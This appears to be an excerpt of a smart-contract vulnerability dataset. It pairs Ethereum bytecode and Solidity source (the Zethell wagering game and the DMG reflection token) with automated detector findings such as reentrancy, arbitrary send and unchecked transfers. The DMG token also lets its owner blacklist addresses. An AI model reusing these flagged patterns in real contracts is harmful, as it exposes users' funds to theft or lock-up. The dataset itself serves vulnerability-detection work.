1565b60405180910390a3505050505050505050565b600080600060085490506000678ac7230489e800009050612420678ac7230489e80000600854611d6590919063ffffffff16565b82101561243e57600854678ac7230489e80000935093505050612447565b81819350935050505b9091565b60008060008060008060008060006124688a600a54600b54612652565b92509250925060006124786121f6565b9050600080600061248b8e8787876126e8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c86565b905092915050565b600080828461250c9190613117565b905083811015612551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254890612ee1565b60405180910390fd5b8091505092915050565b60006125656121f6565b9050600061257c8284611cea90919063ffffffff16565b90506125d081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262d826008546124b390919063ffffffff16565b600881905550612648816009546124fd90919063ffffffff16565b6009819055505050565b60008060008061267e6064612670888a611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126a8606461269a888b611cea90919063ffffffff16565b611d6590919063ffffffff16565b905060006126d1826126c3858c6124b390919063ffffffff16565b6124b390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127018589611cea90919063ffffffff16565b905060006127188689611cea90919063ffffffff16565b9050600061272f8789611cea90919063ffffffff16565b905060006127588261274a85876124b390919063ffffffff16565b6124b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278461277f84613096565b613071565b905080838252602082019050828560208602820111156127a357600080fd5b60005b858110156127d357816127b988826127dd565b8452602084019350602083019250506001810190506127a6565b5050509392505050565b6000813590506127ec816136d4565b92915050565b600081519050612801816136d4565b92915050565b600082601f83011261281857600080fd5b8135612828848260208601612771565b91505092915050565b600081359050612840816136eb565b92915050565b600081519050612855816136eb565b92915050565b60008135905061286a81613702565b92915050565b60008151905061287f81613702565b92915050565b60006020828403121561289757600080fd5b60006128a5848285016127dd565b91505092915050565b6000602082840312156128c057600080fd5b60006128ce848285016127f2565b91505092915050565b600080604083850312156128ea57600080fd5b60006128f8858286016127dd565b9250506020612909858286016127dd565b9150509250929050565b60008060006060848603121561292857600080fd5b6000612936868287016127dd565b9350506020612947868287016127dd565b92505060406129588682870161285b565b9150509250925092565b6000806040838503121561297557600080fd5b6000612983858286016127dd565b92505060206129948582860161285b565b9150509250929050565b6000602082840312156129b057600080fd5b600082013567ffffffffffffffff8111156129ca57600080fd5b6129d684828501612807565b91505092915050565b6000602082840312156129f157600080fd5b60006129ff84828501612831565b91505092915050565b600060208284031215612a1a57600080fd5b6000612a2884828501612846565b91505092915050565b600060208284031215612a4357600080fd5b6000612a518482850161285b565b91505092915050565b600080600060608486031215612a6f57600080fd5b6000612a7d86828701612870565b9350506020612a8e86828701612870565b9250506040612a9f86828701612870565b9150509250925092565b6000612ab58383612ac1565b60208301905092915050565b612aca8161322c565b82525050565b612ad98161322c565b82525050565b6000612aea826130d2565b612af481856130f5565b9350612aff836130c2565b8060005b83811015612b30578151612b178882612aa9565b9750612b22836130e8565b925050600181019050612b03565b5085935050505092915050565b612b468161323e565b82525050565b612b5581613281565b82525050565b6000612b66826130dd565b612b708185613106565b9350612b80818560208601613293565b612b89816133cd565b840191505092915050565b6000612ba1602383613106565b9150612bac826133de565b604082019050919050565b6000612bc4601983613106565b9150612bcf8261342d565b602082019050919050565b6000612be7602a83613106565b9150612bf282613456565b604082019050919050565b6000612c0a602283613106565b9150612c15826134a5565b604082019050919050565b6000612c2d601b83613106565b9150612c38826134f4565b602082019050919050565b6000612c50602183613106565b9150612c5b8261351d565b604082019050919050565b6000612c73602083613106565b9150612c7e8261356c565b602082019050919050565b6000612c96602983613106565b9150612ca182613595565b604082019050919050565b6000612cb9602583613106565b9150612cc4826135e4565b604082019050919050565b6000612cdc601a83613106565b9150612ce782613633565b602082019050919050565b6000612cff602483613106565b9150612d0a8261365c565b604082019050919050565b6000612d22601783613106565b9150612d2d826136ab565b602082019050919050565b612d418161326a565b82525050565b612d5081613274565b82525050565b6000602082019050612d6b6000830184612ad0565b92915050565b6000604082019050612d866000830185612ad0565b612d936020830184612ad0565b9392505050565b6000604082019050612daf6000830185612ad0565b612dbc6020830184612d38565b9392505050565b600060c082019050612dd86000830189612ad0565b612de56020830188612d38565b612df26040830187612b4c565b612dff6060830186612b4c565b612e0c6080830185612ad0565b612e1960a0830184612d38565b979650505050505050565b6000602082019050612e396000830184612b3d565b92915050565b60006020820190508181036000830152612e598184612b5b565b905092915050565b60006020820190508181036000830152612e7a81612b94565b9050919050565b60006020820190508181036000830152612e9a81612bb7565b9050919050565b60006020820190508181036000830152612eba81612bda565b9050919050565b60006020820190508181036000830152612eda81612bfd565b9050919050565b60006020820190508181036000830152612efa81612c20565b9050919050565b60006020820190508181036000830152612f1a81612c43565b9050919050565b60006020820190508181036000830152612f3a81612c66565b9050919050565b60006020820190508181036000830152612f5a81612c89565b9050919050565b60006020820190508181036000830152612f7a81612cac565b9050919050565b60006020820190508181036000830152612f9a81612ccf565b9050919050565b60006020820190508181036000830152612fba81612cf2565b9050919050565b60006020820190508181036000830152612fda81612d15565b9050919050565b6000602082019050612ff66000830184612d38565b92915050565b600060a0820190506130116000830188612d38565b61301e6020830187612b4c565b81810360408301526130308186612adf565b905061303f6060830185612ad0565b61304c6080830184612d38565b9695505050505050565b600060208201905061306b6000830184612d47565b92915050565b600061307b61308c565b905061308782826132c6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130b1576130b061339e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131228261326a565b915061312d8361326a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316257613161613340565b5b828201905092915050565b60006131788261326a565b91506131838361326a565b9250826131935761319261336f565b5b828204905092915050565b60006131a98261326a565b91506131b48361326a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131ed576131ec613340565b5b828202905092915050565b60006132038261326a565b915061320e8361326a565b92508282101561322157613220613340565b5b828203905092915050565b60006132378261324a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328c8261326a565b9050919050565b60005b838110156132b1578082015181840152602081019050613296565b838111156132c0576000848401525b50505050565b6132cf826133cd565b810181811067ffffffffffffffff821117156132ee576132ed61339e565b5b80604052505050565b60006133028261326a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333557613334613340565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136dd8161322c565b81146136e857600080fd5b50565b6136f48161323e565b81146136ff57600080fd5b50565b61370b8161326a565b811461371657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e48448f93853f4dc53b1f56cc69df0113c4424c276e4a5785a3b9495f2e1fb6864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,805
0xe69c6002f218d6939e13eefbb3d984b22c4e0448
pragma solidity ^0.4.23; /* * Zethell. * * Written June 2018 for Zethr (https://www.zethr.io) by Norsefire. * Special thanks to oguzhanox and Etherguy for assistance with debugging. * */ contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethell is ZTHReceivingContract { using SafeMath for uint; address private owner; address private bankroll; // How much of the current token balance is reserved as the house take? uint private houseTake; // How many tokens are currently being played for? (Remember, this is winner takes all) uint public tokensInPlay; // The token balance of the entire contract. uint public contractBalance; // Which address is currently winning? address public currentWinner; // What time did the most recent clock reset happen? uint public gameStarted; // What time will the game end if the clock isn't reset? uint public gameEnds; // Is betting allowed? (Administrative function, in the event of unforeseen bugs) bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; ZTHInterface private ZTHTKN; mapping (uint => bool) validTokenBet; mapping (uint => uint) tokenToTimer; // Fire an event whenever the clock runs out and a winner is determined. event GameEnded( address winner, uint tokensWon, uint timeOfWin ); // Might as well notify everyone when the house takes its cut out. event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); // Fire an event whenever someone places a bet. event TokensWagered( address _wagerer, uint _wagered, uint _newExpiry ); modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } constructor(address ZethrAddress, address BankrollAddress) public { // Set Zethr & Bankroll address from constructor params ZTHTKNADDR = ZethrAddress; ZTHBANKROLL = BankrollAddress; // Set starting variables owner = msg.sender; bankroll = ZTHBANKROLL; currentWinner = ZTHBANKROLL; // Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements. ZTHTKN = ZTHInterface(ZTHTKNADDR); ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); // To start with, we only allow bets of 5, 10, 25 or 50 ZTH. validTokenBet[5e18] = true; validTokenBet[10e18] = true; validTokenBet[25e18] = true; validTokenBet[50e18] = true; // Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked. tokenToTimer[5e18] = 24 hours; tokenToTimer[10e18] = 18 hours; tokenToTimer[25e18] = 10 hours; tokenToTimer[50e18] = 6 hours; // Set the initial timers to contract genesis. gameStarted = now; gameEnds = now; gameActive = true; } // Zethr dividends gained are sent to Bankroll later function() public payable { } // If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation. struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){ TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _stakeTokens(_tkn); return true; } // First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction. // Next - if the game has already ended (i.e. your bet was too late and the clock ran out) // the staked tokens from the previous game are transferred to the winner, the timers are // reset, and the game begins anew. // If you're simply resetting the clock, the timers are reset accordingly and you are designated // the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize // pool which everyone will be playing for. No second place prizes here! function _stakeTokens(TKN _tkn) private { require(gameActive); require(_zthToken(msg.sender)); require(validTokenBet[_tkn.value]); if (now > gameEnds) { _settleAndRestart(); } address _customerAddress = _tkn.sender; uint _wagered = _tkn.value; uint rightNow = now; uint timePurchased = tokenToTimer[_tkn.value]; uint newGameEnd = rightNow.add(timePurchased); gameStarted = rightNow; gameEnds = newGameEnd; currentWinner = _customerAddress; contractBalance = contractBalance.add(_wagered); uint houseCut = _wagered.div(100); uint toAdd = _wagered.sub(houseCut); houseTake = houseTake.add(houseCut); tokensInPlay = tokensInPlay.add(toAdd); emit TokensWagered(_customerAddress, _wagered, newGameEnd); } // In the event of a game restart, subtract the tokens which were being played for from the balance, // transfer them to the winner (if the number of tokens is greater than zero: sly edge case). // If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the // bankroll and reinvested into Zethr at the standard 33% rate. function _settleAndRestart() private { gameActive = false; uint payment = tokensInPlay/2; contractBalance = contractBalance.sub(payment); if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment); if (address(this).balance > 0){ ZTHBANKROLL.transfer(address(this).balance); }} emit GameEnded(currentWinner, payment, now); // Reset values. tokensInPlay = tokensInPlay.sub(payment); gameActive = true; } // How many tokens are in the contract overall? function balanceOf() public view returns (uint) { return contractBalance; } // Administrative function for adding a new token-time pair, should there be demand. function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner { validTokenBet[_tokenAmount] = true; tokenToTimer[_tokenAmount] = _timeBought; } // Administrative function to REMOVE a token-time pair, should one fall out of use. function removeTokenTime(uint _tokenAmount) public onlyOwner { validTokenBet[_tokenAmount] = false; tokenToTimer[_tokenAmount] = 232 days; } // Function to pull out the house cut to the bankroll if required (i.e. to seed other games). function retrieveHouseTake() public onlyOwnerOrBankroll { uint toTake = houseTake; houseTake = 0; contractBalance = contractBalance.sub(toTake); ZTHTKN.transfer(bankroll, toTake); emit HouseRetrievedTake(now, toTake); } // If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets. function pauseGame() public onlyOwner { gameActive = false; } // The converse of the above, resuming betting if a freeze had been put in place. function resumeGame() public onlyOwner { gameActive = true; } // Administrative function to change the owner of the contract. function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } // Administrative function to change the Zethr bankroll contract, should the need arise. function changeBankroll(address _newBankroll) public onlyOwner { bankroll = _newBankroll; } // Is the address that the token has come from actually ZTH? function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } // And here's the boring bit. /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100dc578063499831f2146100f15780635e123ce414610106578063722713f71461012d5780638b7afe2e14610142578063a378bba514610157578063a6f9dae11461016c578063a78bcf6e1461018d578063aabe2fe3146101ae578063afa9a86e146101df578063c0ee0b8a146101f4578063d6ccf7a714610271578063f020044f1461028c578063f41f4b10146102a1578063f79d6687146102b6575b005b3480156100e857600080fd5b506100da6102ce565b3480156100fd57600080fd5b506100da6102f4565b34801561011257600080fd5b5061011b610317565b60408051918252519081900360200190f35b34801561013957600080fd5b5061011b61031d565b34801561014e57600080fd5b5061011b610323565b34801561016357600080fd5b5061011b610329565b34801561017857600080fd5b506100da600160a060020a036004351661032f565b34801561019957600080fd5b506100da600160a060020a0360043516610375565b3480156101ba57600080fd5b506101c36103bb565b60408051600160a060020a039092168252519081900360200190f35b3480156101eb57600080fd5b5061011b6103ca565b34801561020057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261025d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103d09650505050505050565b604080519115158252519081900360200190f35b34801561027d57600080fd5b506100da600435602435610401565b34801561029857600080fd5b5061025d61043f565b3480156102ad57600080fd5b506100da610448565b3480156102c257600080fd5b506100da600435610574565b600054600160a060020a031633146102e557600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461030b57600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b60075481565b600054600160a060020a0316331461034657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461038c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b60006103da610920565b600160a060020a0385168152602081018490526103f6816105b4565b506001949350505050565b600054600160a060020a0316331461041857600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a031633148061046c5750600154600160a060020a031633145b151561047757600080fd5b50600280546000909155600454610494908263ffffffff61073f16565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b15801561050a57600080fd5b505af115801561051e573d6000803e3d6000fd5b505050506040513d602081101561053457600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a0316331461058b57600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff1615156105da57600080fd5b6105e333610751565b15156105ee57600080fd5b6020808901516000908152600b909152604090205460ff16151561061157600080fd5b6007544211156106235761062361076a565b87516020808a01516000818152600c90925260409091205491985096504295509350610655858563ffffffff6108f316565b600686905560078190556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a1617905560045490935061069790876108f3565b6004556106ab86606463ffffffff61090916565b91506106bd868363ffffffff61073f16565b6002549091506106d3908363ffffffff6108f316565b6002556003546106e9908263ffffffff6108f316565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282111561074b57fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff19169055600354600454600290910490610790908263ffffffff61073f16565b6004556003546000101561088257600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561081057600080fd5b505af1158015610824573d6000803e3d6000fd5b505050506040513d602081101561083a57600080fd5b505060003031111561088257600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610880573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a16003546108e0908263ffffffff61073f16565b600355506008805460ff19166001179055565b60008282018381101561090257fe5b9392505050565b600080828481151561091757fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a72305820dbca2e84fc0c8db98e17b07939a8bf1acc8d41f541aaad153c76f2db220fe1880029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,806
0x23ef6cee846320cbf801bdd6827c4d58d1ff41e9
/** *Submitted for verification at Etherscan.io on 2021-11-12 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DMG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "DMG"; string private constant _symbol = "DMG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367); _feeAddrWallet2 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
